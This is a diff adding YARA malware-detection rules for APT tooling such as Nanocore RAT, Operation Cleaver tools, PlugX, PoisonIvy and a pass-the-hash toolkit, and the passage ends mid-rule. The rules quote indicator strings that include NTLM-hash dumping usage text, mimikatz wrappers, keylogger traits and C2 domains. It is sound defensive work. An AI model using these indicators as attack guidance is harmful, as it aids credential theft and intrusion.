+		description = "Zc tool"
+		original_sample_sha1 = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
+		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "Connected [%s:%d]..."
+		$str2 = "reuse possible: %c"
+		$str3 = "] => %d%%\x0a"
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpeer : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Zc tool v2"
+		original_sample_sha1 = "2155c20483528377b5e3fde004bb604198463d29"
+		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$str1 = "@@E0020(%d)" wide
+		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
+		$str3 = "---###---" wide
+		$str4 = "---@@@---" wide
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Backdoor_Naikon_APT_Sample1 {
+	meta:
+		description = "Detects backdoors related to the Naikon APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7vHyvh"
+		date = "2015-05-14"
+		hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
+		hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
+	strings:
+		$x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		$x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x2 = "greensky27.vicp.net" fullword ascii
+		$x3 = "\\tempvxd.vxd.dll" fullword wide
+		$x4 = "otna.vicp.net" fullword ascii
+		$x5 = "smithking19.gicp.net" fullword ascii
+		
+		$s1 = "User-Agent: webclient" fullword ascii
+		$s2 = "\\User.ini" fullword ascii
+		$s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
+		$s4 = "\\UserProfile.dll" fullword wide
+		$s5 = "Connection:Keep-Alive: %d" fullword ascii
+		$s6 = "Referer: http://%s:%d/" fullword ascii
+		$s7 = "%s %s %s %d %d %d " fullword ascii
+		$s8 = "%s--%s" fullword wide
+		$s9 = "Run File Success!" fullword wide
+		$s10 = "DRIVE_REMOTE" fullword wide
+		$s11 = "ProxyEnable" fullword wide
+		$s12 = "\\cmd.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and
+		(
+			1 of ($x*) or 7 of ($s*)
+		)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-22
+	Identifier: Nanocore RAT
+*/
+
+rule Nanocore_RAT_Gen_1 {
+	meta:
+		description = "Detetcs the Nanocore RAT and similar malware"
+		author = "Florian Roth"
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		score = 70
+		hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
+	strings:
+		$x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
+		$x2 = "RunPE1" fullword ascii
+		$x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
+		$x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
+		$x5 = "Monitorinjection" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of them ) ) or ( 3 of them )
+}
+
+rule Nanocore_RAT_Gen_2 {
+	meta:
+		description = "Detetcs the Nanocore RAT"
+		author = "Florian Roth"
+		score = 100
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
+	strings:
+		$x1 = "NanoCore.ClientPluginHost" fullword ascii
+		$x2 = "IClientNetworkHost" fullword ascii
+		$x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_1 {
+	meta:
+		description = "Detetcs a certain Nanocore RAT sample"
+		author = "Florian Roth"
+		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
+	strings:
+		$x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
+		$x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
+		$x3 = "popthatkitty.Resources.resources" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) ) ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_2 {
+	meta:
+		description = "Detetcs a certain Nanocore RAT sample"
+		author = "Florian Roth"
+		score = 75
+		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+		date = "2016-04-22"
+		hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
+	strings:
+		$s1 = "U4tSOtmpM" fullword ascii
+		$s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" fullword wide
+		$s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of ($s*)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier: ONHAT
+*/
+
+rule ONHAT_Proxy_Hacktool {
+	meta:
+		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
+		author = "Florian Roth"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 100
+		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
+		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
+		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
+		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
+		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
+		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
+		hash7 = "f3906be01d51e2e1ae9b03cd09702b6e0794b9c9fd7dc04024f897e96bb13232"
+		hash8 = "f65ae9ccf988a06a152f27a4c0d7992100a2d9d23d80efe8d8c2a5c9bd78a3a7"
+	strings:
+		$s1 = "INVALID PARAMETERS. TYPE ONHAT.EXE -h FOR HELP INFORMATION." fullword ascii
+		$s2 = "[ONHAT] LISTENS (S, %d.%d.%d.%d, %d) ERROR." fullword ascii
+		$s3 = "[ONHAT] CONNECTS (T, %d.%d.%d.%d, %d.%d.%d.%d, %d) ERROR." fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 80KB and ( 1 of ($s*) ) ) or ( 2 of them )
+}
+/* Op Cleaver -------------------------------------------------------------- */
+
+rule OPCLEAVER_BackDoorLogger
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "BackDoorLogger"
+		$s2 = "zhuAddress"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Jasus
+{
+	meta:
+		description = "ARP cache poisoner used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "pcap_dump_open"
+		$s2 = "Resolving IPs to poison..."
+		$s3 = "WARNNING: Gateway IP can not be found"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_LoggerModule
+{
+	meta:
+		description = "Keylogger used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_NetC
+{
+	meta:
+		description = "Net Crawler used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "NetC.exe" wide
+		$s2 = "Net Service"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_ShellCreator2
+{
+	meta:
+		description = "Shell Creator used by attackers in Operation Cleaver to create ASPX web shells"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "ShellCreator2.Properties"
+		$s2 = "set_IV"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SmartCopy2
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "SmartCopy2.Properties"
+		$s2 = "ZhuFrameWork"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_SynFlooder
+{
+	meta:
+		description = "Malware or hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Unable to resolve [ %s ]. ErrorCode %d"
+		$s2 = "your target’s IP is : %s"
+		$s3 = "Raw TCP Socket Created successfully."
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_TinyZBot
+{
+	meta:
+		description = "Tiny Bot used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "NetScp" wide
+		$s2 = "TinyZBot.Properties.Resources.resources"
+		$s3 = "Aoao WaterMark"
+		$s4 = "Run_a_exe"
+		$s5 = "netscp.exe"
+		$s6 = "get_MainModule_WebReference_DefaultWS"
+		$s7 = "remove_CheckFileMD5Completed"
+		$s8 = "http://tempuri.org/"
+		$s9 = "Zhoupin_Cleaver"
+	condition:
+		(($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9)
+}
+
+rule OPCLEAVER_ZhoupinExploitCrew
+{
+	meta:
+		description = "Keywords used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "zhoupin exploit crew" nocase
+		$s2 = "zhopin exploit crew" nocase
+	condition:
+		1 of them
+}
+
+rule OPCLEAVER_antivirusdetector
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "getShadyProcess"
+		$s2 = "getSystemAntiviruses"
+		$s3 = "AntiVirusDetector"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_csext
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "COM+ System Extentions"
+		$s2 = "csext.exe"
+		$s3 = "COM_Extentions_bin"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_kagent
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "kill command is in last machine, going back"
+		$s2 = "message data length in B64: %d Bytes"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_mimikatzWrapper
+{
+	meta:
+		description = "Mimikatz Wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "mimikatzWrapper"
+		$s2 = "get_mimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_in
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_pvz_out
+{
+	meta:
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Network Connectivity Module" wide
+		$s2 = "OSPPSVC" wide
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_wndTest
+{
+	meta:
+		description = "Backdoor used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "[Alt]" wide
+		$s2 = "<< %s >>:" wide
+		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhCat
+{
+	meta:
+		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
+		$s2 = "ABC ( A Big Company )" wide fullword
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhLookUp
+{
+	meta:
+		description = "Hack tool used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "zhLookUp.Properties"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_zhmimikatz
+{
+	meta:
+		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Cylance Inc."
+		score = 70
+	strings:
+		$s1 = "MimikatzRunner"
+		$s2 = "zhmimikatz"
+	condition:
+		all of them
+}
+
+rule OPCLEAVER_Parviz_Developer
+{
+	meta:
+		description = "Parviz developer known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Florian Roth"
+		score = 70
+	strings:
+		$s1 = "Users\\parviz\\documents\\" nocase
+	condition:
+		$s1
+}
+
+rule OPCLEAVER_CCProxy_Config
+{
+	meta:
+		description = "CCProxy config known from Operation Cleaver"
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		date = "2014/12/02"
+		author = "Florian Roth"
+		score = 70
+	strings:
+		$s1 = "UserName=User-001" fullword ascii
+		$s2 = "Web=1" fullword ascii
+		$s3 = "Mail=1" fullword ascii
+		$s4 = "FTP=0" fullword ascii
+		$x1 = "IPAddressLow=78.109.194.114" fullword ascii
+	condition:
+		all of ($s*) or $x1
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: Pass-the-Hash-Toolkit
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule whosthere_alt {
+	meta:
+		description = "Auto-generated rule - file whosthere-alt.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "9b4c3691872ca5adf6d312b04190c6e14dd9cbe10e94c0dd3ee874f82db897de"
+	strings:
+		$s0 = "WHOSTHERE-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '49.00' */
+		$s1 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s2 = "dump output to a file, -o filename" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "This tool lists the active LSA logon sessions with NTLM credentials." fullword ascii /* PEStudio Blacklist: strings */ /* score: '29.00' */
+		$s4 = "Error: pth.dll is not in the current directory!." fullword ascii /* score: '24.00' */
+		$s5 = "the output format is: username:domain:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = ".\\pth.dll" fullword ascii /* score: '16.00' */
+		$s7 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and 2 of them
+}
+
+rule iam_alt_iam_alt {
+	meta:
+		description = "Auto-generated rule - file iam-alt.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "2ea662ef58142d9e340553ce50d95c1b7a405672acdfd476403a565bdd0cfb90"
+	strings:
+		$s0 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s1 = "IAM-ALT v1.1 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.00' */
+		$s2 = "This tool allows you to change the NTLM credentials of the current logon session" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$s3 = "username:domainname:lmhash:nthash" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s4 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s5 = "Error: Cannot open LSASS.EXE!." fullword ascii /* score: '12.00' */
+		$s6 = "nthash is too long!." fullword ascii /* score: '8.00' */
+		$s7 = "LSASS HANDLE: %x" fullword ascii /* score: '5.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule genhash_genhash {
+	meta:
+		description = "Auto-generated rule - file genhash.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "113df11063f8634f0d2a28e0b0e3c2b1f952ef95bad217fd46abff189be5373f"
+	strings:
+		$s1 = "genhash.exe <password>" fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s3 = "Password: %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X" fullword ascii /* score: '11.00' */
+		$s5 = "This tool generates LM and NT hashes." fullword ascii /* score: '10.00' */
+		$s6 = "(hashes format: LM Hash:NT hash)" fullword ascii /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule iam_iamdll {
+	meta:
+		description = "Auto-generated rule - file iamdll.dll"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "892de92f71941f7b9e550de00a57767beb7abe1171562e29428b84988cee6602"
+	strings:
+		$s0 = "LSASRV.DLL" fullword ascii /* score: '21.00' */
+		$s1 = "iamdll.dll" fullword ascii /* score: '21.00' */
+		$s2 = "ChangeCreds" fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 115KB and all of them
+}
+
+rule iam_iam {
+	meta:
+		description = "Auto-generated rule - file iam.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "8a8fcce649259f1b670bb1d996f0d06f6649baa8eed60db79b2c16ad22d14231"
+	strings:
+		$s1 = "<cmd>. Create a new logon session and run a command with the specified credentials (e.g.: -r cmd.exe)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '59.00' */
+		$s2 = "iam.exe -h administrator:mydomain:"  ascii /* PEStudio Blacklist: strings */ /* score: '40.00' */
+		$s3 = "An error was encountered when trying to change the current logon credentials!." fullword ascii /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s4 = "optional parameter. If iam.exe crashes or doesn't work when run in your system, use this parameter." fullword ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s5 = "IAM.EXE will try to locate some memory locations instead of using hard-coded values." fullword ascii /* score: '26.00' */
+		$s6 = "Error in cmdline!. Bye!." fullword ascii /* score: '12.00' */
+		$s7 = "Checking LSASRV.DLL...." fullword ascii /* score: '12.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule whosthere_alt_pth {
+	meta:
+		description = "Auto-generated rule - file pth.dll"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "fbfc8e1bc69348721f06e96ff76ae92f3551f33ed3868808efdb670430ae8bd0"
+	strings:
+		$s0 = "c:\\debug.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s1 = "pth.dll" fullword ascii /* score: '20.00' */
+		$s2 = "\"Primary\" string found at %.8Xh" fullword ascii /* score: '7.00' */
+		$s3 = "\"Primary\" string not found!" fullword ascii /* score: '6.00' */
+		$s4 = "segment 1 found at %.8Xh" fullword ascii /* score: '6.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 4 of them
+}
+
+rule whosthere {
+	meta:
+		description = "Auto-generated rule - file whosthere.exe"
+		author = "Florian Roth"
+		reference = "http://www.coresecurity.com/corelabs-research/open-source-tools/pass-hash-toolkit"
+		date = "2015-07-10"
+		score = 80
+		hash = "d7a82204d3e511cf5af58eabdd6e9757c5dd243f9aca3999dc0e5d1603b1fa37"
+	strings:
+		$s1 = "by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies" fullword ascii /* PEStudio Blacklist: strings */ /* score: '48.00' */
+		$s2 = "whosthere enters an infinite loop and searches for new logon sessions every 2 seconds. Only new sessions are shown if found." fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s3 = "specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSES" ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		$s4 = "Could not enable debug privileges. You must run this tool with an account with administrator privileges." fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s5 = "-B is now used by default. Trying to find correct addresses.." fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s6 = "Cannot get LSASS.EXE PID!" fullword ascii /* score: '14.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and 2 of them
+}
+
+
+rule APTGroupX_PlugXTrojanLoader_StringDecode {
+   meta:
+      author = "Jay DiMartino"
+   	description = "Rule to detect PlugX Malware"
+		score = 80
+   	reference = "https://t.co/4xQ8G2mNap"
+      hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
+      hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
+      hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
+      hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
+      hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
+      hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
+      hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
+      hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
+      hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
+      hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
+      hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
+      hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
+      hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
+      hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
+      hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
+      hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
+      hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
+      hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
+      hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
+      hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
+      hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
+      hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
+   strings:
+      $byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+      $byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+   condition:
+      any of them
+}
+
+rule PoisonIvy_Sample_APT {
+	meta:
+		description = "Detects a PoisonIvy APT malware group"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_2 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "333f956bf3d5fc9b32183e8939d135bc0fcc5770"
+	strings:
+		$s0 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s1 = "sens32.dll" fullword wide /* score: '11.015' */
+		$s2 = "9.0.1.56" fullword wide /* score: '9.5' */
+		$s3 = "FileDescription" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19311 times */
+		$s4 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s5 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s6 = "\"%=%14=" fullword ascii /* score: '4.5' */
+		$s7 = "091A1G1R1_1g1u1z1" fullword ascii /* score: '4' */ /* Goodware String - occured 1 times */
+		$s8 = "gHsMZz" fullword ascii /* score: '3.005' */
+		$s9 = "Microsoft Media Device Service Provider" fullword wide /* score: '-3' */ /* Goodware String - occured 8 times */
+		$s10 = "Copyright (C) Microsoft Corp." fullword wide /* score: '-7' */ /* Goodware String - occured 12 times */
+		$s11 = "MFC42.DLL" fullword ascii /* score: '-31' */ /* Goodware String - occured 36 times */
+		$s12 = "MSVCRT.dll" fullword ascii /* score: '-235' */ /* Goodware String - occured 240 times */
+		$s13 = "SpecialBuild" fullword wide /* score: '-1561' */ /* Goodware String - occured 1566 times */
+		$s14 = "PrivateBuild" fullword wide /* score: '-1585' */ /* Goodware String - occured 1590 times */
+		$s15 = "Comments" fullword wide /* score: '-2149' */ /* Goodware String - occured 2154 times */
